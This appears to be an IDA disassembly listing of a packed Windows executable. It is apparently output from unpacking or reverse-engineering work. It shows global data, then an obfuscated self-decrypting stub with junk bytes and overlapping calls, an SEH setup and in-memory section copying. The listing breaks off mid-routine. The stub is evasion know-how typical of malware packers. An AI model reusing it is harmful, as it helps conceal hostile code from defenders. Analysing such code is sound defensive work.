word_4D13C6	dw 0			; DATA XREF: seg000:00415086w
dword_4D13C8	dd 6 dup(0)		; DATA XREF: seg000:0041511Do
dword_4D13E0	dd 0			; DATA XREF: seg000:00414D7Bw
					; seg000:0041516Br
		align 8
dword_4D13E8	dd 100h	dup(0)		; DATA XREF: seg000:00414EF7o
					; seg000:004151AEo
dword_4D17E8	dd 0A5Ah dup(0)		; DATA XREF: sub_4152AE+1Do
					; sub_41534Eo ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: seg002:off_43A494o
		dd 5A5h	dup(0)
dword_4D57E8	dd 0			; DATA XREF: sub_4152AE+13o
					; sub_41534E+Eo ...
dword_4D57EC	dd 0Dh dup(0)		; DATA XREF: sub_416994+Fo
dword_4D5820	dd 80h dup(0)		; DATA XREF: sub_417640+41o
dword_4D5A20	dd 200h	dup(0)		; DATA XREF: sub_416F7D+C7o
					; sub_4172D8+DDo ...
dword_4D6220	dd 200h	dup(0)		; DATA XREF: sub_416F7D+D6o
					; sub_4172D8+F4o ...
dword_4D6A20	dd 0			; DATA XREF: sub_416F7D+86w
					; sub_41714F+94r
dword_4D6A24	dd 0			; DATA XREF: sub_416F7D+A7w
					; sub_4175A9+55r ...
dword_4D6A28	dd 0			; DATA XREF: sub_416F7D+A0w
					; sub_41714F+D6r ...
dword_4D6A2C	dd 0			; DATA XREF: sub_416F7D+79w
					; sub_41714F+35r ...
dword_4D6A30	dd 80h dup(0)		; DATA XREF: sub_4175A9+5Eo
dword_4D6C30	dd 0			; DATA XREF: sub_416F7D+93w
					; sub_41714F+A2r
dword_4D6C34	dd 0			; DATA XREF: sub_416F7D+E7o
					; sub_416F7D+103r ...
dword_4D6C38	dd 0			; DATA XREF: sub_4172D8+178w
					; sub_41747C+107w
dword_4D6C3C	dd 0			; DATA XREF: sub_4172D8+17Dw
					; sub_41747C+10Dw ...
dword_4D6C40	dd 0			; DATA XREF: sub_4172D8+156w
					; sub_4175A9+4Fr
		align 8
dword_4D6C48	dd 0			; DATA XREF: sub_41791B+29w
					; sub_41791B:loc_417A9Aw ...
dword_4D6C4C	dd 0			; DATA XREF: seg000:004057AEo
					; sub_4177DF+12o ...
		dd 0
dword_4D6C54	dd 0			; DATA XREF: sub_41791B+21r
					; sub_417ABA+3Ar
		dd 7Fh dup(0)
dword_4D6E54	dd 0			; DATA XREF: sub_41791B+1Br
					; sub_417ABA+4Aw
		dd 1944h dup(0)
dword_4DD368	dd 0			; DATA XREF: sub_417ABA+23o
					; sub_418330+6Ao
dword_4DD36C	dd 7Fh dup(0)		; DATA XREF: seg000:004057CCo
					; sub_4177DF+3Co
dword_4DD568	dd 98h dup(0)		; DATA XREF: sub_4189D8:loc_418AF5o
					; sub_4189D8+131o ...
dword_4DD7C8	dd 0			; DATA XREF: sub_418D55+45w
					; sub_418D55+4Dr ...
		align 10h
dword_4DD7D0	dd 18h dup(0)		; DATA XREF: sub_419636:loc_419758o
					; sub_419636+12Do
dword_4DD830	dd 80h dup(0)		; DATA XREF: sub_418C96+4Bo
					; sub_418C96+7Do ...
byte_4DDA30	db 0			; DATA XREF: sub_418D55+29r
					; sub_418D55+34w
		align 8
dword_4DDA38	dd 80h dup(0)		; DATA XREF: sub_418FAC+61o
					; sub_418FAC+88o ...
dword_4DDC38	dd 80h dup(0)		; DATA XREF: sub_4188AF+33o
					; sub_4188AF+50o ...
dword_4DDE38	dd 0			; DATA XREF: sub_419BEB:loc_419C0Cr
dword_4DDE3C	dd 0			; DATA XREF: sub_419BEBr
					; seg000:00419D11r
dword_4DDE40	dd 0			; DATA XREF: sub_419C1B+1Ar
					; seg000:00419EB2o
dword_4DDE44	dd 0			; DATA XREF: sub_419BEB:loc_419BFFr
dword_4DDE48	dd 0Eh dup(0)		; DATA XREF: seg000:00419CEDo
dword_4DDE80	dd 0Dh dup(0)		; DATA XREF: sub_41AA78+3Eo
dword_4DDEB4	dd 0			; DATA XREF: sub_41BDAD+1B9w
					; seg000:loc_41D489w ...
dword_4DDEB8	dd 0			; DATA XREF: sub_41D5DE+35w
					; sub_41DC92:loc_41DD2Cw ...
dword_4DDEBC	dd 0			; DATA XREF: sub_423C7E+13Ar
dword_4DDEC0	dd 0A28h		; DATA XREF: seg000:0041DBA5w
dword_4DDEC4	dd 501h			; DATA XREF: seg000:0041DB9Cw
dword_4DDEC8	dd 5			; DATA XREF: seg000:0041DB91w
dword_4DDECC	dd 1			; DATA XREF: seg000:0041DB83w
dword_4DDED0	dd 1			; DATA XREF: sub_423287+91w
dword_4DDED4	dd 0B50B20h		; DATA XREF: sub_423287+89w
		dd 0
dword_4DDEDC	dd 0B50B48h		; DATA XREF: sub_4231CE+44w
					; sub_425D17+9r ...
dword_4DDEE0	dd 0			; DATA XREF: sub_4263D0+36r
dword_4DDEE4	dd 0			; DATA XREF: sub_425D17+16r
					; sub_4260E5+4r ...
		dd 0
off_4DDEEC	dd offset aCM_unpackerPac ; DATA XREF: sub_423287+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DDEF4	db 0			; DATA XREF: sub_41B9C3+2Dw
					; sub_4229F0+5r
		align 4
dword_4DDEF8	dd 0			; DATA XREF: sub_41B9C3+27w
dword_4DDEFC	dd 0			; DATA XREF: sub_41B9C3+4r
					; sub_41B9C3+8Bw
dword_4DDF00	dd 0			; DATA XREF: sub_41C2E4+3Br
					; sub_41C2E4+91w
		align 8
dword_4DDF08	dd 0			; DATA XREF: sub_41C938+Aw
		dd 7 dup(0)
dword_4DDF28	dd 0			; DATA XREF: seg000:0041DBD7w
					; sub_4231CE:loc_4231E0r ...
		align 10h
dword_4DDF30	dd 0			; DATA XREF: sub_41DC49r sub_41DC6Er ...
dword_4DDF34	dd 0			; DATA XREF: sub_41ED30+4Bw
					; sub_41EE49+2Dw ...
dword_4DDF38	dd 0			; DATA XREF: sub_41F532r
dword_4DDF3C	dd 0			; DATA XREF: sub_41B3F2:loc_41B50Er
					; sub_41B3F2:loc_41B62Fr ...
dword_4DDF40	dd 1			; DATA XREF: sub_4200C9:loc_420244r
					; sub_420262+4w ...
dword_4DDF44	dd 0			; DATA XREF: sub_420666+37r
		dd 0
dword_4DDF4C	dd 0			; DATA XREF: sub_421BF9+11r
					; sub_421CFD+1Ar ...
byte_4DDF50	db 0			; DATA XREF: sub_421BF9+3r
					; sub_421BF9+98r ...
		align 4
dword_4DDF54	dd 0			; DATA XREF: sub_421CFD+11r
					; sub_421DDB+21w ...
byte_4DDF58	db 0			; DATA XREF: sub_421DDB+51w
		align 4
dword_4DDF5C	dd 0			; DATA XREF: sub_421FD1+4Er
					; sub_4223AC+3Ar ...
dword_4DDF60	dd 0			; DATA XREF: sub_421FD1+5Cr
					; sub_4223AC+43r ...
dword_4DDF64	dd 0			; DATA XREF: sub_41CBBE+7Ar
					; sub_422178+5r
dword_4DDF68	dd 0			; DATA XREF: sub_42277C+29r
dword_4DDF6C	dd 2 dup(0)		; DATA XREF: sub_41D350+Co
dword_4DDF74	dd 0			; DATA XREF: sub_41D7CA+4r
					; sub_41D7CA+6Er ...
		dd 3 dup(0)
dword_4DDF84	dd 0			; DATA XREF: sub_41DA54+61r
					; sub_41DA54+BFr ...
		dd 0
dword_4DDF8C	dd 0			; DATA XREF: sub_41F54D+154w
					; sub_420666:loc_42068Fw ...
dword_4DDF90	dd 1			; DATA XREF: seg000:00422DCBr
					; seg000:00422DEFw ...
dword_4DDF94	dd 0			; DATA XREF: sub_422FF2+3Ar
					; sub_422FF2+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_423287:loc_42329Eo
					; seg002:off_4DDEECo
		align 4
		dd 3Ah dup(0)
dword_4DE09C	dd 1			; DATA XREF: sub_4234D4+2r
					; sub_4234D4+23w ...
dword_4DE0A0	dd 0			; DATA XREF: sub_423894+21r
dword_4DE0A4	dd 0			; DATA XREF: sub_41F54D+7r
dword_4DE0A8	dd 1			; DATA XREF: seg000:00423F5Dr
					; seg000:loc_423FA1w
		align 10h
word_4DE0B0	dw 0			; DATA XREF: sub_424839+1Ao
					; sub_424839+46r
byte_4DE0B2	db 0			; DATA XREF: sub_424839+39r
		align 4
dword_4DE0B4	dd 7 dup(0)		; DATA XREF: sub_424839+52o
dword_4DE0D0	dd 0			; DATA XREF: sub_424839+40w
					; sub_424839+5Co
dword_4DE0D4	dd 0			; DATA XREF: sub_424839+4Dw
dword_4DE0D8	dd 0			; DATA XREF: sub_424839+31w
dword_4DE0DC	dd 0			; DATA XREF: sub_424839+52w
dword_4DE0E0	dd 77C26E79h		; DATA XREF: sub_42495C:loc_42497Fr
					; sub_42495C+38r ...
		align 8
dword_4DE0E8	dd 0			; DATA XREF: sub_424A3C+11w
					; sub_424A3C+63w ...
		align 10h
dword_4DE0F0	dd 0			; DATA XREF: sub_424A3C+33o
					; sub_424A3C+46r
dword_4DE0F4	dd 10h dup(0)		; DATA XREF: sub_424A3C+C1o
word_4DE134	dw 0			; DATA XREF: sub_424C9A+A8r
word_4DE136	dw 0			; DATA XREF: sub_424A3C+54r
					; sub_424C9A+DBr ...
word_4DE138	dw 0			; DATA XREF: sub_424C9A+CAr
word_4DE13A	dw 0			; DATA XREF: sub_424C9A+D3r
					; sub_424C9A:loc_424D8Cr
word_4DE13C	dw 0			; DATA XREF: sub_424C9A+C0r
word_4DE13E	dw 0			; DATA XREF: sub_424C9A+B8r
word_4DE140	dw 0			; DATA XREF: sub_424C9A+B0r
word_4DE142	dw 0			; DATA XREF: sub_424C9A+9Er
dword_4DE144	dd 0			; DATA XREF: sub_424A3C+4Br
dword_4DE148	dd 10h dup(0)		; DATA XREF: sub_424A3C+FBo
word_4DE188	dw 0			; DATA XREF: sub_424C9A+46r
word_4DE18A	dw 0			; DATA XREF: sub_424A3C:loc_424AB3r
					; sub_424C9A+78r ...
word_4DE18C	dw 0			; DATA XREF: sub_424C9A+67r
word_4DE18E	dw 0			; DATA XREF: sub_424C9A+70r
					; sub_424C9A:loc_424D1Er
word_4DE190	dw 0			; DATA XREF: sub_424C9A+5Dr
word_4DE192	dw 0			; DATA XREF: sub_424C9A+55r
word_4DE194	dw 0			; DATA XREF: sub_424C9A+4Dr
word_4DE196	dw 0			; DATA XREF: sub_424C9A+3Er
dword_4DE198	dd 0			; DATA XREF: sub_424A3C+80r
dword_4DE19C	dd 0			; DATA XREF: sub_424A3C+132r
					; sub_424A3C:loc_424B88r ...
dword_4DE1A0	dd 0			; DATA XREF: sub_424A27r sub_424A27+Ew
dword_4DE1A4	dd 0			; DATA XREF: sub_4250D1+3r
					; sub_4250D1+2Ew ...
dword_4DE1A8	dd 0			; DATA XREF: sub_4250D1+43w
					; sub_4250D1:loc_425120r
dword_4DE1AC	dd 0			; DATA XREF: sub_4250D1+4Aw
					; sub_4250D1+60r
dword_4DE1B0	dd 0			; DATA XREF: sub_423C7E+3Fr
dword_4DE1B4	dd 0			; DATA XREF: sub_425BA5:loc_425C0Cr
					; sub_425BA5+6Do
dword_4DE1B8	dd 0			; DATA XREF: sub_425BA5:loc_425BE3r
					; sub_425BA5+44o
dword_4DE1BC	dd 0			; DATA XREF: sub_425BA5:loc_425BD6r
					; sub_425BA5+37o
dword_4DE1C0	dd 0			; DATA XREF: sub_425BA5:loc_425BF0r
					; sub_425BA5+51o
		align 8
dword_4DE1C8	dd 0			; DATA XREF: sub_426153+28r
					; sub_426153+48w ...
dword_4DE1CC	dd 0			; DATA XREF: sub_426C4A+28r
					; sub_426C4A+4Cw ...
dword_4DE1D0	dd 0			; DATA XREF: sub_426ED5+26r
					; sub_426ED5:loc_426F3Fw
byte_4DE1D4	db 1			; DATA XREF: sub_40D6BAr sub_40D6BA+9w ...
		align 10h
dword_4DE1E0	dd 0B50650h		; DATA XREF: sub_41F263+75r
					; sub_41F33C+2Ar ...
dword_4DE1E4	dd 3Fh dup(0)		; DATA XREF: seg000:00423698o
dword_4DE2E0	dd 20h			; DATA XREF: sub_41DC92+8r
					; sub_41F33C+Cr ...
dword_4DE2E4	dd 0B51110h		; DATA XREF: sub_41DE10:loc_41DE21r
					; sub_41F6BD+14r ...
		dd 6 dup(0)
dword_4DE300	dd 400h	dup(0)		; DATA XREF: seg002:off_43F558o
					; seg002:0043F560o
dword_4DF300	dd 200h			; DATA XREF: sub_41DE10+9r
					; sub_41DE10+56r ...
dword_4DF304	dd 4E4h			; DATA XREF: sub_4200C9+14r
					; sub_4200C9+65w ...
		align 10h
dword_4DF310	dd 3 dup(0)		; DATA XREF: sub_4200C9+123o
					; sub_4200C9+171o ...
dword_4DF31C	dd 0			; DATA XREF: sub_4200C9+108w
					; sub_4200C9+15Dw ...
byte_4DF320	db 0			; DATA XREF: seg000:loc_420414w
					; seg000:loc_420431w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DF420	db 0			; DATA XREF: sub_4200C9+5Co
					; sub_4200C9+AFo ...
byte_4DF421	db 0			; DATA XREF: sub_41BBC1+5Dr
					; sub_4200C9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DF524	dd 0			; DATA XREF: sub_4200C9+6Ew
					; sub_4200C9+12Bw ...
dword_4DF528	dd 0			; DATA XREF: sub_41E04F+3Cw
					; sub_41E6F4+5r ...
dword_4DF52C	dd 0			; DATA XREF: sub_41E0C2+23Ar
					; sub_41E0C2+25Ar ...
dword_4DF530	dd 0			; DATA XREF: sub_41E04F+31w
					; sub_41E0C2+311w ...
dword_4DF534	dd 0			; DATA XREF: sub_41E04F+21w
					; sub_41E0C2+22Dr ...
dword_4DF538	dd 0			; DATA XREF: sub_41E04F+28w
					; sub_41E097r ...
dword_4DF53C	dd 0			; DATA XREF: sub_41E04F+15w
					; sub_41E097+8r ...
dword_4DF540	dd 0			; DATA XREF: sub_41B3F2+5Cr
					; sub_41B703+Fr ...
dword_4DF544	dd 0B50000h		; DATA XREF: sub_41B2A1+5Ar
					; sub_41B3F2+C0r ...
dword_4DF548	dd 1			; DATA XREF: sub_41B2A1+Cr
					; sub_41B3F2:loc_41B422r ...
dword_4DF54C	dd 142340h		; DATA XREF: seg000:0041DBCDw
					; seg000:00423185r ...
dword_4DF550	dd 1			; DATA XREF: sub_4231CE+ADw
					; sub_425D17r
dword_4DF554	dd 1			; DATA XREF: sub_42048Dr
					; sub_42048D+11w ...
dword_4DF558	dd 0B50764h		; DATA XREF: sub_41B9C3+3Er
					; sub_41D1C3+13r ...
dword_4DF55C	dd 0B50758h		; DATA XREF: sub_41B9C3+35r
					; sub_41B9C3+57r ...
byte_4DF560	db 1			; DATA XREF: sub_4269D4+15r
					; sub_4269D4+1Ew
		align 1000h
seg002		ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 0001C000 ( 114688.)
; Section size in file		: 0001C000 ( 114688.)
; Offset to raw	data for section: 000E0000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 4E0000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
		db 60h,	0E8h, 3
dword_4E0004	dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h,	0FFEDBB5Dh
		dd 0DD03FFFFh, 0EB81h, 7D80000Eh, 0C75014Dh, 2824748Bh
		dd 8901FE83h, 31754E5Dh, 5053458Dh, 0EDB5FF53h,	8D000009h
		dd 0E9503545h, 82h, 970000h
		db 2 dup(0), 3
byte_4E004F	db 0			; DATA XREF: seg002:00433C25o
					; seg002:00434455o
		dd 77E79E34h, 99E000h, 77E805D8h, 77E79F93h, 0
		dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h,	81E801EBh
		dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
		dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h,	0D0FF3575h
		dd 8535458Bh, 680D74C0h, 8000h,	75FF006Ah, 3D55FF35h, 61DB0B5Bh
		dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0D9B9000Ch
		dd 0E81BE29Eh, 13h, 0AA954C7Fh,	7611389Bh, 24DE477h, 4E495013h
		dd 68057C6Fh, 0DBDBF68h, 68C0Fh, 800F0000h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	eax
		push	2F0E15FEh
		mov	dx, 940Ah
		pop	ebx
		add	eax, 840h
		and	dx, 852Dh
		mov	esi, 1D8h
		mov	dh, 0FAh


loc_4E0116:				; CODE XREF: .data:004E01A1j
		mov	edi, [eax]
		or	dl, 61h
		sub	edi, 7A1C72ABh
		add	edi, 444F1D08h
		push	63FA93E3h
		adc	bl, 55h
		pop	ecx
		sub	edi, 2CB7FCA1h
		jmp	loc_4E0141
; ---------------------------------------------------------------------------
		db 36h
		dd 0C20DA437h
		db 0D3h
; ---------------------------------------------------------------------------


loc_4E0141:				; CODE XREF: .data:004E0136j
		mov	[eax], edi
		jmp	loc_4E015C
; ---------------------------------------------------------------------------
		dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h,	3BCA356Ch
; ---------------------------------------------------------------------------


loc_4E015C:				; CODE XREF: .data:004E0143j
		sub	eax, 4
		mov	bh, 11h
		sub	esi, 1
		jnz	loc_4E0189
		jnz	loc_4E017F
		jmp	loc_4E017F
; ---------------------------------------------------------------------------
		db 7Ah,	2Bh, 88h
		dd 34074621h
		db 5Dh,	0D2h, 0A3h
; ---------------------------------------------------------------------------


loc_4E017F:				; CODE XREF: .data:004E016Aj
					; .data:004E0170j
		jmp	loc_4E01B8
; ---------------------------------------------------------------------------
		dd 0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_4E0189:				; CODE XREF: .data:004E0164j
		call	near ptr loc_4E019A+1
		xchg	eax, ecx
		div	bh
		db	64h
		int	82h
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax
		cld


loc_4E019A:				; CODE XREF: .data:loc_4E0189p
		test	[esi-7Fh], esp
		repne out 73h, eax
		pop	ecx
		jmp	loc_4E0116	; CODE XREF: .data:004E01C3j
; ---------------------------------------------------------------------------
		dw 8332h
		dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
; ---------------------------------------------------------------------------


loc_4E01B8:				; CODE XREF: .data:loc_4E017Fj
		mov	di, si
		call	sub_4E01C7
		add	dword ptr [eax], 39h
		jle	short near ptr loc_4E01A1+3
		sub	al, 0F5h

; =============== S U B	R O U T	I N E =======================================



sub_4E01C7	proc near		; CODE XREF: .data:004E01BBp
		pop	edx
		add	ch, 0E2h
		add	edx, 754h
		push	1ABh
		add	bx, 5BE1h
		pop	esi
		or	di, 0F163h


loc_4E01E1:				; CODE XREF: sub_4E0251+10j
		mov	eax, [edx]
		jmp	loc_4E01FC
; ---------------------------------------------------------------------------
		dd 0DBEAD58Ch, 0B7B65178h, 53428D24h, 0AF8E8990h, 0CB9A45BCh
; ---------------------------------------------------------------------------


loc_4E01FC:				; CODE XREF: sub_4E01C7+1Cj
		sub	eax, 56A223EFh
		push	21BE5666h
		push	edx
		movzx	ebx, di
		pop	ecx
		pop	edi
		xor	eax, 43D64EFCh
		call	near ptr loc_4E0220+5
		xor	[esi], edx
		xchg	eax, edi
		test	[ebp-5Eh], ch
		xor	esi, eax


loc_4E0220:				; CODE XREF: sub_4E01C7+4Cp
		imul	ebp, esi, 51251C8Fh
sub_4E01C7	endp ; sp-analysis failed

		jmp	loc_4E0237
; ---------------------------------------------------------------------------
		mov	ah, 0DDh
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait


loc_4E0237:				; CODE XREF: .data:004E0226j
		pop	ecx
		pop	ebx
		add	eax, 41389985h
		push	esi
		movsx	ebx, ax
		pop	ebx
		mov	[edx], eax
		call	near ptr sub_4E0251
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3

; =============== S U B	R O U T	I N E =======================================



sub_4E0251	proc far		; CODE XREF: .data:004E0246p
		mov	di, cx
		pop	edi
		sub	edx, 4
		mov	cx, di
		sub	esi, 1
		jnz	loc_4E01E1
		mov	edi, 7FBA34BAh
		jnz	loc_4E0275
		movsx	ebx, cx


loc_4E0275:				; CODE XREF: sub_4E0251+1Bj
		call	sub_4E0289
		retf
sub_4E0251	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h
		db 0B5h

; =============== S U B	R O U T	I N E =======================================



sub_4E0289	proc near		; CODE XREF: sub_4E0251:loc_4E0275p
		mov	edx, esi
		pop	esi
		push	ecx
		mov	bl, 38h
		pop	ebx
		add	esi, 699h
		movzx	edx, di
		mov	eax, 17Ch
		mov	edx, 475D6252h


loc_4E02A3:				; CODE XREF: sub_4E02CD+43j
		push	dword ptr [esi]
		movzx	ecx, di
		pop	edi
		sub	edi, 2F63DAD5h
		mov	ebx, 6ADF0402h
		add	edi, 6FEF42EAh
		call	sub_4E02CD
		dec	esi
		outsd
		jl	short near ptr loc_4E02C7+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_4E02C7:				; CODE XREF: sub_4E0289+38j
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3
sub_4E0289	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4E02CD	proc near		; CODE XREF: sub_4E0289+31p
		movzx	ecx, bx
		pop	ecx
		xor	edi, 3A3EF9DBh
		movsx	ecx, cx
		push	edi
		mov	ebx, esi
		pop	dword ptr [esi]
		and	edx, 0B09089Dh
		sub	esi, 4
		movsx	ebx, cx
		sub	eax, 1
		jnz	loc_4E030A
		mov	edx, 569E0936h
		jmp	loc_4E0327
; ---------------------------------------------------------------------------
		dw 0DA4h
; ---------------------------------------------------------------------------
		retn	10D3h
; ---------------------------------------------------------------------------
		db 9
		dd 0C53C2F0Eh
		db 1Ah,	4Bh
; ---------------------------------------------------------------------------


loc_4E030A:				; CODE XREF: sub_4E02CD+21j
		xor	ecx, 1A6373D4h
		jmp	loc_4E02A3
; ---------------------------------------------------------------------------
		db 72h,	0C3h, 40h
		dd 6C1FBE79h, 583BCA35h, 41796B1h
		db 0EDh, 22h, 0B3h
; ---------------------------------------------------------------------------


loc_4E0327:				; CODE XREF: sub_4E02CD+2Cj
		call	sub_4E033E
sub_4E02CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
		db 82h,	93h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4E033E	proc near		; CODE XREF: sub_4E02CD:loc_4E0327p

var_C		= dword	ptr -0Ch

		mov	esi, 3DC42EFh
		pop	ebx
		jmp	loc_4E0358
; ---------------------------------------------------------------------------
		db 0Bh,	0E8h, 1
		dd 3D94E7A6h, 39008332h, 0F52CDF7Eh
; ---------------------------------------------------------------------------


loc_4E0358:				; CODE XREF: sub_4E033E+6j
		add	ebx, 5E6h
		jnz	loc_4E0366
		mov	dh, 0CAh


loc_4E0366:				; CODE XREF: sub_4E033E+20j
		mov	ecx, 14Ah
		movsx	esi, si


loc_4E036E:				; CODE XREF: sub_4E033E+A4j
		push	dword ptr [ebx]
		pop	eax
		push	ebx
		jle	loc_4E037D
		mov	esi, 2EDF9FBFh


loc_4E037D:				; CODE XREF: sub_4E033E+34j
		pop	edx
		xor	eax, 217AC9E9h
		xor	eax, 7E03266Eh
		adc	si, 9E8Eh
		add	eax, 4421110Fh
		jmp	loc_4E03A4
; ---------------------------------------------------------------------------
		dw 0CB9Ah
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------


loc_4E03A4:				; CODE XREF: sub_4E033E+57j
		mov	[ebx], eax
		jns	loc_4E03AF
		mov	si, ax


loc_4E03AF:				; CODE XREF: sub_4E033E+68j
		sub	ebx, 4
		mov	dx, cx
		dec	ecx
		jnz	loc_4E03DC
		jnp	loc_4E03C7
		mov	edx, 6D6968FAh


loc_4E03C7:				; CODE XREF: sub_4E033E+7Ej
		jmp	loc_4E03EE
; ---------------------------------------------------------------------------
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]
		fstp	dword ptr [esi-556AB381h]
		wait


loc_4E03DC:				; CODE XREF: sub_4E033E+78j
		sub	edx, 888984Dh
		jmp	loc_4E036E
; ---------------------------------------------------------------------------
		db 13h
		dd 6F4E4950h
; ---------------------------------------------------------------------------
		jl	short loc_4E03F3


loc_4E03EE:				; CODE XREF: sub_4E033E:loc_4E03C7j
		call	$+5


loc_4E03F3:				; CODE XREF: sub_4E033E+AEj
		pop	ebp
		pop	ebx
		mov	[ebp+5Bh], ebx
		pop	ebx
		mov	[ebp+5Fh], ebx
		pop	eax
		mov	[ebp+40Dh], eax
		pop	eax
		cmp	byte ptr [ebp+5Ah], 1
		jnz	short loc_4E0463
		mov	[ebp+425h], eax
		pusha
		lea	eax, [ebp+33h]
		push	eax
		xor	eax, eax
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_4E0708
		jmp	short loc_4E0442
; ---------------------------------------------------------------------------
		mov	esp, [esp+14h+var_C]
		pop	dword ptr fs:0
		add	esp, 4
		popa
		lea	eax, [ebp+63h]
		push	eax
		call	dword ptr [ebp+5Fh]
		call	loc_4E071E
		jmp	short loc_4E044B
; ---------------------------------------------------------------------------


loc_4E0442:				; CODE XREF: sub_4E033E+E6j
		pop	dword ptr fs:0
		add	esp, 24h


loc_4E044B:				; CODE XREF: sub_4E033E+102j
		jmp	short loc_4E0468
; ---------------------------------------------------------------------------
		align 2
		dd offset dword_4E0004+44h
aUqcwkernel32_d	db '“Ÿçwkernel32.dll',0
; ---------------------------------------------------------------------------


loc_4E0463:				; CODE XREF: sub_4E033E+CAj
		call	sub_4E0704


loc_4E0468:				; CODE XREF: sub_4E033E:loc_4E044Bj
		cld
		lea	esi, [ebp+8Ch]
		lodsd
		or	eax, eax
		jz	short loc_4E048F
		mov	edi, eax
		mov	ecx, 0Ch
		rep movsb
		jmp	short loc_4E048F
; ---------------------------------------------------------------------------
		align 10h
		dd 20004010h, 19B23344h, 8F80AA11h
		db 0E8h, 19h, 0EDh
; ---------------------------------------------------------------------------


loc_4E048F:				; CODE XREF: sub_4E033E+134j
					; sub_4E033E+13Fj
		mov	[ebp+429h], esp
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+1CCh], eax
		mov	ebx, [ebp+400h]
		add	ebx, [ebp+40Dh]
		push	eax
		push	ebx
		call	sub_4E05C7
		push	40h
		push	1000h
		push	dword ptr [ebp+408h]
		push	0
		call	dword ptr [ebp+3F0h]
		mov	[ebp+431h], eax
		mov	[ebp+1D0h], eax
		mov	eax, fs:0
		mov	[ebp+42Dh], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1D0h]
		mov	[edx], eax
		mov	eax, [ebp+408h]
		mov	[edx+4], eax
		lea	eax, [ebp+39Fh]
		mov	eax, [eax+55h]
		mov	[edx+8], eax
		mov	eax, [ebp+3ECh]
		mov	[edx+10h], eax
		mov	eax, [ebp+3E8h]
		mov	[edx+14h], eax
		mov	edx, [ebp+1CCh]
		mov	ebx, 1F8h


loc_4E052C:				; CODE XREF: sub_4E033E+212j
		mov	edi, [edx+ebx+0Ch]
		or	edi, edi
		jz	short loc_4E0552
		mov	ecx, [edx+ebx+10h]
		or	ecx, ecx
		jz	short loc_4E054D
		add	edi, [ebp+1D0h]
		mov	esi, [edx+ebx+14h]
		add	esi, edx
		sar	ecx, 2
		rep movsd


loc_4E054D:				; CODE XREF: sub_4E033E+1FCj
		add	ebx, 28h
		jmp	short loc_4E052C
; ---------------------------------------------------------------------------


loc_4E0552:				; CODE XREF: sub_4E033E+1F4j
		mov	eax, [ebp+1CCh]
		push	eax
		mov	edx, [ebp+1D0h]
		push	edx
		mov	ebx, [eax]
		add	ebx, edx
		mov	eax, [ebp+3E4h]
		mov	[ebx], eax
		mov	eax, [ebp+3E8h]
		mov	[ebx+4], eax
		mov	eax, [ebp+3ECh]
		mov	[ebx+8], eax
		pop	edi
		pop	esi
		mov	eax, [esi+4]
		add	eax, edi
		mov	[ebp+1C7h], eax
		mov	edx, [ebp+5Bh]
		mov	eax, [ebp+1C7h]
		mov	[edx+0Ch], eax
		lea	ebx, [ebp+40Dh]
		push	ebx
		push	0
		push	0
		push	1
		push	edi
		mov	ebx, [esi+8]
